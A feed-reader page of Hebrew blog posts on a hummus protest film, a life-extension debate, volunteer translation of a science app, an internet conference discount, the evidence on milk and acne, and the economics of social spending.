30784 items (16526 unread) in 102 feeds
AlleyMule
Connected
(95 unread)
Morning Candy
(493 unread)
OMG
(17 unread)
ברמה העקרונית
(14 unread)
האויב הציני
(3 unread)
הבלוג של אלית
(35 unread)
הבלוג של רן יניב הרטשטיין / Ran Yaniv Hartstein's Blog
(76 unread)
המכללה
(107 unread)
הפנקס הפתוח
(80 unread)
הצלחת המעופפת - לא מדע בדיוני
(96 unread)
יונית מוזס
(40 unread)
לא שומעים!
(266 unread)
פרסום גרילה באינטרנט - ינאי הנגבי
(65 unread)
רויטל סלומון
(208 unread)
Candy's mini blog
(60 unread)
CityMule - 'Brief Mainstream Reviews for the Masses'
shuru HABITU oor oo
(32 unread)
The Daily Dolly
(73 unread)
TumbLizard
(1 unread)
Yellow Spot
(2 unread)
אנקדוטות
(58 unread)
בלוג זה לחלשים
(48 unread)
בצק אלים
(50 unread)
דברים קטנים באמת
(18 unread)
הרהורים של אבא
(177 unread)
חומוס להמונים
(192 unread)
חורים ברשת
(2802 unread)
טל גלילי
(138 unread)
מִלָּה
(14 unread)
מהדורה אחרונה
(177 unread)
ניימן 3.0
(411 unread)
עלילות נויפלד בעיר זרה
רק אי שפיות
(60 unread)
תעשו לט גו
19:15 היחידה לחקירות החומוס הוא סרטון של כ-10 דקות (בלבד), אשר מתאר עולם דיס-אוטופי (דהיינו, עולם מבאס) שבו הוציאו את החומוס מחוץ לחוק.
כמיטב המסורת של המחאה החברתית מהקיץ הקודם, סרטון החומוס נע מעבר לגבולות של ימין ושמאל, ומציע ביקורת חברתית כנגד יחסי ההון-שילטון במדינתנו.
על הסרט כתבו בלוגרים ואתרי חדשות, כולל האתר j14, על בני אדם וגו', ואף קפטן אינטרנט ועוד.
12:38 הדיון (דיבייט), התקיים ב-25 לאפריל (2012), באוניברסיטת אוקספורד, בין אוברי דה-גרי ופרופסור קולין בלקמור.
קולין הוא מדען-מוח, והראש לשעבר של קרן המחקר הגדולה ביותר באנגליה למחקר ביו-רפואי.
הנה ההרצאות, ולאחריהן כמה מחשבות:
ההרצאה:
ה"שאלות תשובות":
הדיון נסוב סביב שתי סוגיות: האם הארכת רדיקאלית היא אפשרית, והאם היא רצויה. בשתי הסוגיות, הדיון היה חלקי ביותר. לא הייתה התמודדות ראויה עם הסוגיה של ייתכנות מדעית. נראה היה שקולין לא חקר לעומקם את ההצעות של אוברי והדגים את מגבלותיהן. מה שהוא כן עשה, זה להדגיש את המורכבות העצומה של המייזם להתגברות על זיקנה.
בנושא של האם הארכת חיים היא רצויה או לא, קולין טען שלא. הוא הביא טיעונים כמו זה שהארכת חיים משמעותית תיצור עומס על שירותי הבריאות, ביטוח לאומי – ובכלל, שזה ישנה את העולם, ואולי לא לטובה.
היות ועל הנושא המדעי אין לי מה לעשות מלבד להמתין ולראות האם אנחנו, כקהילה אנושית/מדעית, נצליח להתקדם בנושא או לא – אני יכול להגיב רק בנושא של האם הארכת חיים רדיקאלית היא רצויה או לא. לדעתי היא רצויה.
למעשה, מה שמדהים אותי בדיון הוא מדוע מדענים מובילים יכולים להתווכח לגבי האם הארכת חיים רדיקלית היא רצויה או לא. כלומר, אם היינו מדברים על אורך חיים למול איכות חיים, עוד הייתי אומר שיש מקום לדיון. אבל מרגע שאנחנו מניחים (ועל זה אוברי דה-גרי מדבר), שאנחנו מתכוונים להארכת תוחלת החיים תוך שמירה על איכות חיים מתמשכת, מהו המקום לדיון? זה לא באמת ברור לי…
(נתקלתי בקישור הזה במקור דרך מישהו בפייסבוק, סליחה שאני לא זוכר מי, ששלח אותי לכאן)
12:44 לפני כשבוע העליתי פוסט שבו ביקשתי מכם לבוא ולעזור לי לתרגם את אפליקציית הרשת "סקאלת היקום 2". מדובר באפליקציה שמאפשרת לסייר בין חפצים בגדלים שונים, החל מאטום ועד גלקסיות, ובדרך אמבות ומגדל אייפל.
האפליקציה עלתה לאוויר וניתן לראות אותה כעת בקישור כאן.
אפשר גם להטמיע אותה בפוסט אצלכם בבלוג (הנה הטקסט שצריך בשביל להכניס את הסרטון לבלוג שלכם), וככה זה נראה (פשוט לחצו על "עברית" כדי לראות את הגירסה העברית):
אני שמח לבשר לכם שהפרוייקט זכה להצלחה מסחררת!
תוך פחות משבוע תורגם כמעט כל המסמך (נשארו במסמך כמה פיסקאות לא מתורגמות, אתם מוזמנים לקפוץ למסמך ולתרגם אותם, או לראות אם יש משהו שדורש תיקון).
הגירסה שיש כרגע באוויר לא כוללת את התירגום הכי עדכני, אבל יש מספיק עברית כדי לראות שזה "באמת קורה". המפתח של האפליקציה אמר לי שהוא יעדכן את קובץ העברית באפליקציה בזמן הקרוב (אני מנחש שזה יהיה עד שבוע מהיום).
הגירסה שיש כרגע באוויר כוללת תירגום של למעלה מ- 95% מהטקסט. האפליקציה תתעדכן עוד בהמשך עם התירגום המלא 
אם אתם מעוניינים לעזור לתרגם את המערכת לשפות אחרות (כמו, לדוגמא, ערבית או רוסית), או שיש לכם רצון לשפר את התירגום יותר, או לעשות איתו משהו מכניב אחר שלא חשבתי עליו. אתם מוזמנים
הרוב המוחלט של הכניסות (כ- 700 כניסות) לפוסט שפירסמתי היו דרך פייסבוק (500 ומעלה), כפי שניתן לראות מגוגל אנליטיקס:
מתוך אותם 700 מבקרים, כ- 157 איש המשיכו למסמך התירגום (לפחות, כי יכול להיות שהגיעו למסמך אנשים גם דרך הפייסבוק):
הדרך שבה פירסמתי את הפוסט הייתה לתת את הקישור אליו על הקיר שלי, ועל הקיר של כמה חברים שידעתי שיהיו מעוניינים להשתתף בפרוייקט (זה מהלך מסוכן, שכן אם אני מפרסם את זה אצל חבר שלא מתעניין בפרוייקט – קיים הסיכון לעשות sociale-spam, משהו שאנחנו מ-א-ד רוצים להמנע ממנו.)
אחת הקהילות המתהוות שעזרו לי לקדם את הפרוייקט היא קהילת הספקנים בישראל (אליה אני משתייך בגאווה). זוהי קבוצה של אנשים אשר שואפים לקדם חשיבה (וספקנות) מדעית. ומה יותר מתאים מאשר פרוייקט כמו זה שמזכיר לכולנו שהעולם מדהים (גם מבלי שצריך שיהיו בו דרקונים ופיות. אפילו שדרקונים ופיות זה מגניב). כדי להכיר את קהילת הספקנים יותר, המקום לבקר הוא הגוגל-קבוצה שלנו, תצטרפו ותגידו שלום
לדעתי, הסיבה העיקרית לכך שהפרוייקט הצליח היא פשוט כי מדובר בפרוייקט מגניב (תבקרו בדף האפליקציה כדי להבין למה אני מתכוון).
והסיבה השניה היא שהפעילות של התירגום היא כייפית. כפי שכתבה לי ידידתי (פראפרזה על משהו שכתבה קרן): "נכנסתי רק כדי לתרגם כמה ווירוסים, ופתאום מצאתי את עצמי מתרגמת עוד ועוד. זה ממש ממכר!"
על "ביזור תירגומים", או: למה הפרוייקט הזה הוא *לא* דוגמא ל-crowd sorcing!כשדיברתי על זה עם חברי הטוב אייל סלע (a.k.a: one of the real web experts out there)
הוא שאל אותי "אבל למה זה בעצם עובד?! הרי יש כל כך הרבה דרכים שבהם זה יכול להכשל. אנשים יכולים למחוק את המסמך בטעות, או לתרגם רע, או להוריד פסיק במקום הלא נכון. או אפילו לשבש את הטקסט בכוונה, למה זה לא קרה?"
הפליאה של אייל הייתה מוצדקת. הרי מה שעשיתי היה לפתוח מסמך-גוגל בשביל שאנשים יערכו אותו. המסמך הוא אסופה של הרבה פיסקאות, שחייבים לשמור על הסדר שלהם, ועל הפסיקים וגרשאים במקום (כדי שהאפליקציה תוכל אחר כך להשתמש בה). אומנם יש מעקב אחר גירסאות, ואפשר היה לחזור אחורה. אבל באופן כללי, זה גן עדן לטרולים ולשגיאות תמימות.
התשובה לכך היא שהפרוייקט הזה מדגים את ההבדל בין crowd sourcing (מיקור המונים, עליו ארחיב מיד) למול משהו שאייל ואני החלטנו בשיחה לקרוא לו friend sourcing (מיקור חברים):
מיקור המונים (הסבר מויקיפדיה) – הוא הפנייה של ביצוע משימה או משימות, אשר לרוב היו מתבצעות בידי עובדי חברה או עובדים מטעמה, לביצוע על-ידי קהל גדול ("המונים").
אחת הדוגמאות היפות ביותר למטלה הזו היא הפרוייקט ר-קאפצ'ה. כתבתי בזמנו על איך גוגל משתמש בפרוייקט הזה כדי לקודד אינספור ספרים סרוקים לשפה שמחשבים יכולים לקרוא.
האיש שהמציא את ר'-קאפצ'ה העלה לאחרונה סרטון מצויין (רק 16 דקות) על הרעיון של ללמד אנשים שפה זרה באמצעות זה שנותנים להם לתרגם טקסטים. ודרך תהליך הלימוד, האנשים לומדים (בחינם) את השפה, והרבה טקסטים יתורגמו בין שפות (לדוגמא, תדמיינו שאפשר כך לתרגם את כל ויקיפדיה האנגלית לעברית, דרך התהליך שבו אנשים ילמדו אנגלית…)
הנה הסרטון בו המפתח, לואיז ון האן, מספר על הפרוייקט:
הסוגיה היא שכדי לפתח מערכת טובה למיקור המונים, חייבים לבנות אותה כך שהיא תהיה יציבה לשגיאות. כי אם נותנים להמון אנשים לבצע משימה, באופן סטטיסטי, חלקם יפשלו ויעשו בלאגן (בטעות, או לעיתים בכוונת זדון). חייבים לבנות את המערכת כך שהיא תהיה אמידה לנסיונות של מעט אנשים לפגוע במערכת לשאר המשתמשים.
עם זאת, מערכת כזו חייבת להיות יחסית מובנה, וזה גם אומר ש"תוכנות מדף" (כמו גוגל-דוקס) לא יתאימו עבורה, היות ותוכנות מדף לרוב מאפשרות יותר מידי חופש פעולה למשתמשים.
המסקנה מכל זה היא שפרוייקט התירגום של "סדרי גודל ביקום 2" לא היה יכול להתבצע באמצעות "מיקור המונים".
אבל, הוא כן היה יכול להתבצע באמצעות "מיקור חברים". הכוונה פה היא לפרוייקט אשר משווק רק למעגל הראשון והשני של החברים שלי, אנשים עליהם אני סומך (או שהחברים שלי סומכים עליהם). כאשר הפרוייקט מגיע לקהל הזה, מובטח לי שהאנשים יעשו מאמץ כנה לעזור (או לפחות, לא לפגוע) במייזם.
מיקור-חברים זה מה שאנחנו עושים כשאנו מארגנים מסיבת "תביאו את האוכל של עצמכם". זה לא פרוייקט שאפשר להעלות את הסקאלה שלו לאלפי אנשים, אבל כל עוד מדובר בכמה עשרות (או אפילו מאות), המערכת מתפקדת.
התחלה של פרוייקט מיקור חברים הופך אתכם לסוג של "מנהיגי שבט" קטנים (במשמעות של להוביל אנשים בפרוייקט מסויים). סביב פרוייקט מיקור חברים, אפשר לדמיין התחלה של התאגדות חברתית דרך האינטרנט. אבל גם אם הפרוייקט לא יזלוג מחוץ למעגל החברים שלכם, עדיין עשיתה משהו שתרם לחבריכם, ולכם.
מוסר ההשכל: מיקור חברים ואתם (friend sourcing and you)מוסר ההשכל של הפרוייקט הזה איננו שאפשר לפתוח גוגל דוק, לשתף אותו עם אלפי אנשים – ושיהיה שיתוף פעולה פורה. מרגע שתתרחקו מידי ממעגל החברים שלכם אני מנחש שצרות יתחילו להגיע. פרוייקט שדורש אלפי אנשים בשביל שהוא יעבוד, צריך מערכת חזקה בשביל להתמודד עם שגיאות (לדוגמא, ויקיפדיה)
אבל, באמצעות הכלים הנגישים של היום (גוגל-מסמכים, פייסבוק, וכן הלאה), כל אחד מכם, הקוראים היקרים שלי, יכול לפתוח פרוייקט "בינוני", אשר השלמתו יכולה להתבצע באמצעות מאות חברי-הפייסבוק שלכם. בזכות הטכנולוגיות הנוחות של היום, לפרוייקט שלכם יש תקווה להתממש.
אל תחשבו על להקים פרוייקט אחד למאות אלפי אנשים (כמו ויקיפדיה לדוגמא). תחשבו על זה שאלפי מכם יקימו אלפי פרוייקטים, כל אחד יבוצע על ידי עשרות חברים. אבל התוצאה שלו תהיה עולם מגניב ביותר עבור כולנו.
העתיד כבר כאן, להתראות בעתיד…
23:48 שלום חברי האינטרנטיים, יש לי בשבילכם משימה! (ואחריה ההסבר של למה)
אני רוצה שתכנסו למסמך הזה כאן: מסמך תירגום. ובכל מקום שמופיע משפט (או מילה באנגלית) תתרגמו אותו לעברית. אל תשנו בשום צורה את הרווחים או הפסיקים. זה מסמך שצריך יהיה אחר כך להעביר לקובץ פלאש, אז הכרחי לשמור על המבנה שלו כמו שהוא. חלק מהדברים במסמך הם קלים לתירגום, וחלק צריכים מומחים ללשון-מדעית/פיזיקאלית…
עכשיו הנה ההסבר למה:
רקע: לפני כמה ימים חבר מהלימודים (הידוע בתור ליעד המחונן) שלח אלי קישור למשחק פלאש חינוכי בשם "The scale of the universe".
מדובר במשחק שמאפשר לנו להזיז בר-ניווט כדי לזוז בין רזולוציות שונות של היקום המוכר. בכל רזולוציה, אפשר לראות אובייקטים שונים באותו הגודל (החל ממיתר קוואנטי ועד הגודל המקסימאלי של היקום המוכר. ובדרך יש גם את העולם של world of warcraft, לאנשים שיצרו את זה יש חוש הומור). ניתן ללחוץ על כל אובייקט בדרך כדי לקבל עליו מידע (מה הגודל שלו, וקצת פרטים כלליים).
מדובר במשחק שממחיש באופן נפלא עד כמה העולם לפי הראיה במדעית (גם מבלי שנידרש לפסאבדו מדע ודרקונים קסומים), הוא מ-מ-ש מגניב.
אחרי שראיתי את הסרטון, יצרתי קשר באימייל עם מי שבנה את הסרטון ושאלתי אם הוא יסכים לתת לי (לנו ) לתרגם את המסמך לעברית. הוא אמר שכן, ושאז אפשר יהיה להטמיע אותו באתרים אחרים. האם זה לא יוזמה מגניבה לחלוטין לילדי ישראל הקטנים (שעוד לא למדו איך לקרוא אנגלית מדעית?)
הנה פרומו של משחק הפלאש דרך סרטון יוטיוב:
להתראות במסמך
נ.ב: אני מתנצל לקוראי הנאמנים על שהם קיבלו אימיילים עם פוסטים ישנים ביומיים האחרונים – זה בגלל קריסה לא מתוכננת של האתר, ויוזמת חילוץ שדרשה כמה פליק פלאקים. אולי אני אכתוב על זה פוסט בקורס. נראה.
נ.נ.ב: אין לי שום בעיה עם דרקונים קסומים, אני לחלוטין בעדם.
11:15 ב- 21 בפברואר, 2012, בנייני האומה, ירושלים, צפוי להתקיים הכינוס השנתי של איגוד האינטרנט הישראלי. אני צפוי להיות שם, בשביל ההרצאות ובשביל האנשים. וזכיתי להשיג עבורכם הנחה של 20% להרשמה.
ההרשמה תעלה 272 ש"ח (במקום 340) למי שאינו חבר איגוד (או רק 160 ש"ח, במקום 200, לחברי איגוד האינטרנט).
לקבלת ההנחה יש להתקשר למרכז הרישום בטלפון 03-9727406 ולציין את קוד ההנחה 526900.
*** ההנחה בתוקף לנרשמים עד ל-14 בפברואר.
לתוכניית הכינוס: www.isoc.org.il/conf2012
הנה פרטים נוספים:
הכינוס השנתי ה-16 של איגוד האינטרנט הישראלי, ידון בסוגיות הבוערות בתחום האינטרנט בישראל ובעולם
הכנס יערך ב-21 בפברואר 2012, החל מהשעה 9:00 בבנייני האומה, ירושלים
הכינוס השנתי של איגוד האינטרנט הישראלי נערך זו השנה ה-16 ברציפות, במקביל למאורעות משמעותיים חובקי עולם בתחום האינטרנט והפרטיות. בכנס, שייערך ב-4 מסלולים מקבילים, יידונו הנושאים הבוערים כיום בעולם האינטרנט הישראלי והעולמי, בהשתתפות מומחים בכירים מחו"ל, מנכ"לים ואנשי אקדמיה, שיציגו את המגמות החדשות והעתידיות באינטרנט בישראל. הכנס יתקיים ב- 21 בפברואר 2012, החל מהשעה 9:00 בבנייני האומה, ירושלים.
את הכנס יפתחו ד"ר ישע סיון, נשיא איגוד האינטרנט הישראלי וניר בקרת, ראש עיריית ירושלים. לאחריהם יעלו שני מרצים מובילים מחו"ל; Carlo d’Asaro Biondo, נשיא EMEA בגוגל העולמית שידבר על מסחר אלקטרוני בישראל, ו-Tomi Ahonen, יועץ ומומחה עולמי בתחום האינטרנט הסלולרי שידבר על השינוי שחל בעולם בעקבות האינטרנט הסלולרי ועל הצפוי לנו בתחום בשנים הקרובות.
לאחר מכן תתפצל המליאה לארבעה מסלולים מקבילים: מסלול ה- "Cyber, המערכה החדשה: איומים, היערכות וטכנולוגיה" אשר יעסוק בטכנולוגיות וכלים להגנה מפני איומים על ארגונים וחברות בעולם המסחר המקוון ובחזית הסייבר הממשלתית. מסלול "טכנולוגיות האינטרנט – עשר שנים קדימה", שיעסוק בטכנולוגיות חדשות ועתידיות ברשת האינטרנט – לשיפור התקשורת ברמת התשתית, האביזרים והיישומים הנמצאים ברשת ובסביבה – כגון: NFC, רשתות mash, זיהוי מקוון של מחלות, LTE ובינה מלאכותית. מסלול נוסף ידון ב"צרכני דור ה-Y" ויעלה לדיון את נושא המסחר האלקטרוני בישראל, המחאות החברתיות והאינטרנט בתנועה (בכף היד, ברכב ובכל מקום).
המסלול הרביעי הינו מסלול ייחודי – "מימדים – רואים את האינטרנט אחרת" (Web Dimensions), אשר יביא הרצאות מיוחדות בנושאים הנושקים לאינטרנט כגון: "החיים במדינת eBay", "מקהיר העתיקה לרשת האינטרנט", "קץ עידן הפרטיות – האמנם?", "הלא-מודע האינטרנטי וההיפנוזה – שליטה בזמן אמת על ישות בעזרת מחשבה ע"י שימוש ב-fMRI" ועוד.
היום ייחתם בהצגת תכלית המכונה החושבת (בהשתתפות קהל) שתתבצע ע"י David Boloker, סמנכ"ל טכנולוגיות ביבמ העולמית.
בין המשתתפים בפאנלים ובהרצאות: פרופ' יצחק בן ישראל – ראש מטה הסייבר הלאומי ויו"ר המולמו"פ במשרד המדע, יאיר כהן ראש מנהל מודיעין וסייבר באלביט מערכות, תא"ל במיל' ניצן אוריאל, ראש המטה ללוחמה בטרור, ברוך אלפיה – יועץ לניהול סיכונים באמצעי תשלום ולשעבר יועץ בכיר ל'ויזה' הבינ"ל, רמי לוי, מנכ"ל ובעלי שיווק השקמה, יוסי אלבז מנכ"ל דומינוס פיצה, רון רוטשטיין מנהל קבוצת מחקר לתקשורת אלחוטית בג'נרל מוטורס, ערן מנגד, מנהל תחום פתרונות רדיו, אריקסון ישראל, אסף סלע CTO בטקסס אינסטרומנטס ישראל, ד"ר אהרון האופטמן, חוקר בכיר במרכז הבינתחומי לניתוח וחיזוי טכנולוגי, אוניברסיטת תל-אביב, ועוד מרצים מובילים מהארץ ומהעולם.
לו"ז הכנס המלא: www.isoc.org.il/conf2012
15:00 הבלוג המגניב ספק סביר פירסם סרטון מושקע אשר מתמודד עם הסוגיה של האם זה בריא או לא לשתות חלב. הסרט מדגים פירוק שיטתי של טיעונים אשר הופיעו בסרטון שפורסם לאחרונה בשם "מישהו עדיין מאמין לפרסומות של שטרואס ותנובה" (זהו סרטון אנטי חלב).
מומלץ לצפות ולהפיץ הלאה (לא בהכרח בסדר זה):
בויקיפדיה העברית ובאנגלית , מציגים שורה של מאמרים שעוסקים בעד כמה חלב זה דבר נפלא ובריא, ואז לצידם רשימה (קטנה יותר, כנראה, מבחינת כמות ואיכות – אבל לא עברתי על כולם). של מאמרים שטוענים שחלב זה רע.
מהסתכלות רק על החלק בויקיפדיה העברית שמתייחס לזה שחלב זה "רע", התעניינתי לדעת איזה מחקרים מתוארים בחלק הזה. המאמר הראשון שמצוטט מתייחס ל"קשר" בין שתיית חלב לבין אקנה. הבעיה היא שהמחקר הזה הוא מחקר תצפיתי אשר נתון לבעיות מחקריות אשר אינן מאפשרות בהכרח להסיק שיש סיבתיות בין חלק לאקנה (באותה מידה שאין קשר בין התאורה בחדר השינה וסרטן השד). הנה תיאור מהכתבה על המחקר, שמסביר מה בוצע בו:
במחקר ראשון מסוגו שביצע ארגון הבריאות העולמי השתתפו 112 אלף נשים, אחיות במקצוען, בגילאים 25-42, שהתבקשו לתאר את הרגלי צריכת החלב שלהן בהיותן תלמידות תיכון ואת חומרת האקנה ממנה סבלו באותן שנים.
מעיבוד הנתונים הסתמן בבירור קשר בין אקנה והחמרתה לבין צריכת מוצרי חלב.
אז מצד אחד אפשר להחמיא לחוקרים על גודל המדגם המרשים שהם השיגו בשביל המחקר (אמרתי את זה בציניות, כי גודל המדגם זה כנראה לא הסוגיה במחקר הנוכחי), אך מצד שני הם מבקשים מאנשים מטלה מאד קשה. אם עכשיו אני אשאל אותכם מה הייתה מידת הצריכה שלכם של חלב כשהייתם מתבגרים, אתם תזכרו? ומה לגבי כמות פצעי הפנים שהיו לכם? אני לא יודע מה איתכם, אבל לי אין מושגר כמה חלב שתיתי, ובטח שלא כשמכניסים לזה מקורות שונים לחלב (שוקולד, עוגיות, ומה לא). וגם אין לי מושג כמה פצעים היו לי על הפנים (היו לי כל מיני, אבל אין לי מושג איך לכמת את זה באופן שיהיה עיקבי עם הדיווח של אנשים אחרים). בקיצור, המחקר הזה נותן ממצא שאולי מעניין לנסות להבין מה המקור שלו (החלב, או אולי התפיסה של אנשים שהיה להם פצעים על הפנים, שהם שתו יותר חלב), אבל בפירוש לא הוכחה לפי סטנדרטים מדעיים לקשר סיבתי בין חלב לאקנה.
לסיכום: אני לא רופא. אני לא תזונאי. לא חקרתי את הנושא לעומק על כל היבטיו. עם זאת, יש מחקרים שמראים שלחלב בבירור יש ערך תזונתי רב. לעומת זאת, לא נתקלתי במחקר מדעי שמראה שחלב הוא דבר נוראי שצריך להתרחק ממנו (למרות שבהחלט יכול להיות שיש לו גם נזקים בריאותיים, לחלק מהאנשים או כולם – אבל לא על בסיס הספרות שאני נחשפתי אליה עד כה). אם אתם נתקלתם במחקרים מדעיים שהוכיחו לדעתכם שאסור לשתות חלב – אדרבה תספרו לי עליהם.
מה שכן, ברור לי שלחברות החלב יש אינטרס שיחשבו שחלב זה בריא. ובמקביל, שלאנשי ה"רפואה הטיבעית" יש נטייה (נוחה מידי לטעמי) לפנות לתאוריות קונספירציה לפיהן החלב הורג את כולנו ולא מספרים לנו (מה שבאמת יכול לקרות, באותה מידה שמגדלי התאומים הופלו בעקבות קנוניה יהודית. ועם זאת – אני רוצה הוכחות טובות שיצליחו להעפיל על ברירת המחדל שלי שאומרת שנדיר להתקל בהתארגנות מתוחכמת, ומוצלחת, שמטרתה להונות את כל האוכלוסיה בערך…)
דעות (מגובות בקישורים רלוונטיים!), יתקבלו בברכה
(נ.ב: לינק טיפ מגיע לירון אסא על העלאת הקישור אצלו בפייסבוק)
11:11 הבלוג המגניב ספק סביר פירסם סרטון מושקע אשר מתמודד עם הסוגיה של האם זה בריא או לא לשתות חלב. הסרט מדגים פירוק שיטתי של טיעונים אשר הופיעו בסרטון שפורסם לאחרונה בשם "מישהו עדיין מאמין לפרסומות של שטרואס ותנובה" (זהו סרטון אנטי חלב).
מומלץ לצפות ולהפיץ הלאה (לא בהכרח בסדר זה):
בויקיפדיה העברית ובאנגלית , מציגים שורה של מאמרים שעוסקים בעד כמה חלב זה דבר נפלא ובריא, ואז לצידם רשימה (קטנה יותר, כנראה, מבחינת כמות ואיכות – אבל לא עברתי על כולם). של מאמרים שטוענים שחלב זה רע.
מהסתכלות רק על החלק בויקיפדיה העברית שמתייחס לזה שחלב זה "רע", התעניינתי לדעת איזה מחקרים מתוארים בחלק הזה. המאמר הראשון שמצוטט מתייחס ל"קשר" בין שתיית חלב לבין אקנה. הבעיה היא שהמחקר הזה הוא מחקר תצפיתי אשר נתון לבעיות מחקריות אשר אינן מאפשרות בהכרח להסיק שיש סיבתיות בין חלק לאקנה (באותה מידה שאין קשר בין התאורה בחדר השינה וסרטן השד). הנה תיאור מהכתבה על המחקר, שמסביר מה בוצע בו:
במחקר ראשון מסוגו שביצע ארגון הבריאות העולמי השתתפו 112 אלף נשים, אחיות במקצוען, בגילאים 25-42, שהתבקשו לתאר את הרגלי צריכת החלב שלהן בהיותן תלמידות תיכון ואת חומרת האקנה ממנה סבלו באותן שנים.
מעיבוד הנתונים הסתמן בבירור קשר בין אקנה והחמרתה לבין צריכת מוצרי חלב.
אז מצד אחד אפשר להחמיא לחוקרים על גודל המדגם המרשים שהם השיגו בשביל המחקר (אמרתי את זה בציניות, כי גודל המדגם זה כנראה לא הסוגיה במחקר הנוכחי), אך מצד שני הם מבקשים מאנשים מטלה מאד קשה. אם עכשיו אני אשאל אותכם מה הייתה מידת הצריכה שלכם של חלב כשהייתם מתבגרים, אתם תזכרו? ומה לגבי כמות פצעי הפנים שהיו לכם? אני לא יודע מה איתכם, אבל לי אין מושגר כמה חלב שתיתי, ובטח שלא כשמכניסים לזה מקורות שונים לחלב (שוקולד, עוגיות, ומה לא). וגם אין לי מושג כמה פצעים היו לי על הפנים (היו לי כל מיני, אבל אין לי מושג איך לכמת את זה באופן שיהיה עיקבי עם הדיווח של אנשים אחרים). בקיצור, המחקר הזה נותן ממצא שאולי מעניין לנסות להבין מה המקור שלו (החלב, או אולי התפיסה של אנשים שהיה להם פצעים על הפנים, שהם שתו יותר חלב), אבל בפירוש לא הוכחה לפי סטנדרטים מדעיים לקשר סיבתי בין חלב לאקנה.
לסיכום: אני לא רופא. אני לא תזונאי. לא חקרתי את הנושא לעומק על כל היבטיו. עם זאת, יש מחקרים שמראים שלחלב בבירור יש ערך תזונתי רב. לעומת זאת, לא נתקלתי במחקר מדעי שמראה שחלב הוא דבר נוראי שצריך להתרחק ממנו (למרות שבהחלט יכול להיות שיש לו גם נזקים בריאותיים, לחלק מהאנשים או כולם – אבל לא על בסיס הספרות שאני נחשפתי אליה עד כה). אם אתם נתקלתם במחקרים מדעיים שהוכיחו לדעתכם שאסור לשתות חלב – אדרבה תספרו לי עליהם.
מה שכן, ברור לי שלחברות החלב יש אינטרס שיחשבו שחלב זה בריא. ובמקביל, שלאנשי ה"רפואה הטיבעית" יש נטייה (נוחה מידי לטעמי) לפנות לתאוריות קונספירציה לפיהן החלב הורג את כולנו ולא מספרים לנו (מה שבאמת יכול לקרות, באותה מידה שמגדלי התאומים הופלו בעקבות קנוניה יהודית. ועם זאת – אני רוצה הוכחות טובות שיצליחו להעפיל על ברירת המחדל שלי שאומרת שנדיר להתקל בהתארגנות מתוחכמת, ומוצלחת, שמטרתה להונות את כל האוכלוסיה בערך…)
דעות (מגובות בקישורים רלוונטיים!), יתקבלו בברכה
(נ.ב: לינק טיפ מגיע לירון אסא על העלאת הקישור אצלו בפייסבוק)
0:28 כבר סיפרו לכם ש"צדק חברתי" עולה כסף, אבל האם שאלתם את עצמכם מהו הערך הכלכלי של חברה בריאה ומתפקדת? (פוסט אורח מאת אחי החריף, שוקי גלילי)
אנחנו בתקופה בה רבים שואלים את עצמם ואת זולתם, מה השיגה מחאת הקיץ ומה עשויה להשיג מחאה בכלל, וכיצד ראוי למחות. ככל שהדיון הזה חשוב, הוא לא מייתר את העיסוק בשאלות הקשורות לערכים, המטרות והעקרונות של המדינה בה אנחנו רוצים לחיות.
מצד אחד, תנועות המחאה המקומיות והעולמיות עוסקות הרבה בשאלות הקשורות לידע ולמידע, כולל חופש המידע, הזכות לדעת ועצם האפשרות לדעת דברים בעולם של דיסאינפורמציה (אם תרצו, זהו ה"מה אני יכול לדעת"). חלקן גם לא רואות עין בעין בנושא הלגיטימיות והאפקטיביות של אפיקי מחאה שונים ("מה אני רשאי לעשות").
ומצד שני, מטרות קונקרטיות ומוצהרות של המאבק (חינוך חינם מגיל שלושה חודשים, סיוע חירום לניצולי שואה שמצבם הכלכלי קשה, הסדרת ענף השכירות בחוק, תקצוב דיור ציבורי ודיור בר השגה, העברת עובדי קבלן להעסקה ישירה, וכו') לא מייצגות השקפת עולם קוהרנטית אחת אלא אוסף של פתרונות לבעיות שהן תוצאת השיטה הקיימת.
להחליף את השיטה?
רבים, חלקם עדיין "בשטח" גם בימים האלה ואחרים בוודאי יצטרפו בחודשים הבאים, נחושים באמונה ובדרישה ל"צדק חברתי". דרישה אינטואיטיבית שמבטאת את הכמיהה למדינה שמושתת על ערכים כמו ערבות הדדית וכבוד האדם, ומצייתת לציווי "לא תוכל להתעלם" (דברים כ"ב פסוק ג').
אבל בשורה התחתונה, רוב האנשים עדיין שבויים בתפיסה שרווחה, ביטחון כלכלי ודאגה לחלש הם מין "מס" שעלינו לשלם כדי להיות מוסריים יותר, או כדי שאנחנו בעצמנו לא נהפוך יום אחד "נזקקים למיניהם" כפי שקרא לזה נתניהו.
בכך יש, לפחות במידה מסוימת, הפנמה של הגישה לפיה סעד תמיד יבוא על חשבון צמיחה ולהפך – גישה שזוכה פרס נובל לכלכלה ג'וזף שטיגליץ לועג לה ומכנה אותה "פנאטית" (ראו הרחבה על כך בפוסטים "האמת על האינפלציה החוזרת" ו"השקר הניאו-ליברלי").
אדרבא, אומר שטיגליץ, מדיניות כלכלית שכרוכה ביצירת עוני והגדלת פערים, תמיד מערערת את היציבות החברתית באופן שמוביל למשברים כלכליים. יותר מזה: המדיניות הזו, כשלעצמה, היא זו שיוצרת את המשברים, וכמעט תמיד זה מתחיל בבועה נדל"נית. נשמע מוכר?
הערך הכלכלי של ההוצאה הציבורית
ערכים לא זקוקים להנמקה רציונלית. אין צורך לנמק מדוע כל ניצול שואה הנמצא במצוקה הוא חרפה למדינה ולחברה בישראל.
אבל כשרוצים לתרגם את הערכים למדיניות, כדאי לדעתי לדבר גם על ערך כלכלי וליצור סביבו מסגרת של דיון רציונלי. תמיד יהיו מי שיציבו מכשולים בטענה ש"אין כסף" – טענה רציונלית, גם אם לא נכונה. לטענות כאלה אפשר להשיב גם תשובות אידיאולוגיות ערכיות, אבל לא רק.
ספיבק-יונה טענו שלהמלצות טרכטנברג אין משמעות, כי טרכטנברג התעקש על חוק כלל ההוצאה, שמשמעותו המעשית היא שההוצאה הממשלתית לא הייתה משתנה לו ההמלצות היו מיושמות – רק הסעיפים היו משתנים.
אבל אפשר לטעון טענה מרחיקת לכת יותר: לא רק ש"תקציבים חברתיים" לא עולים כסף שאין, אלא שרובם מהווים השקעה טובה. כלומר, מלבד טענת ה"יש כסף" של שפיבק-יונה, חשוב גם לטעון ולהזכיר ש"זה ישתלם לנו" גם כלכלית.
שירותים "חברתיים" כמנוע צמיחה
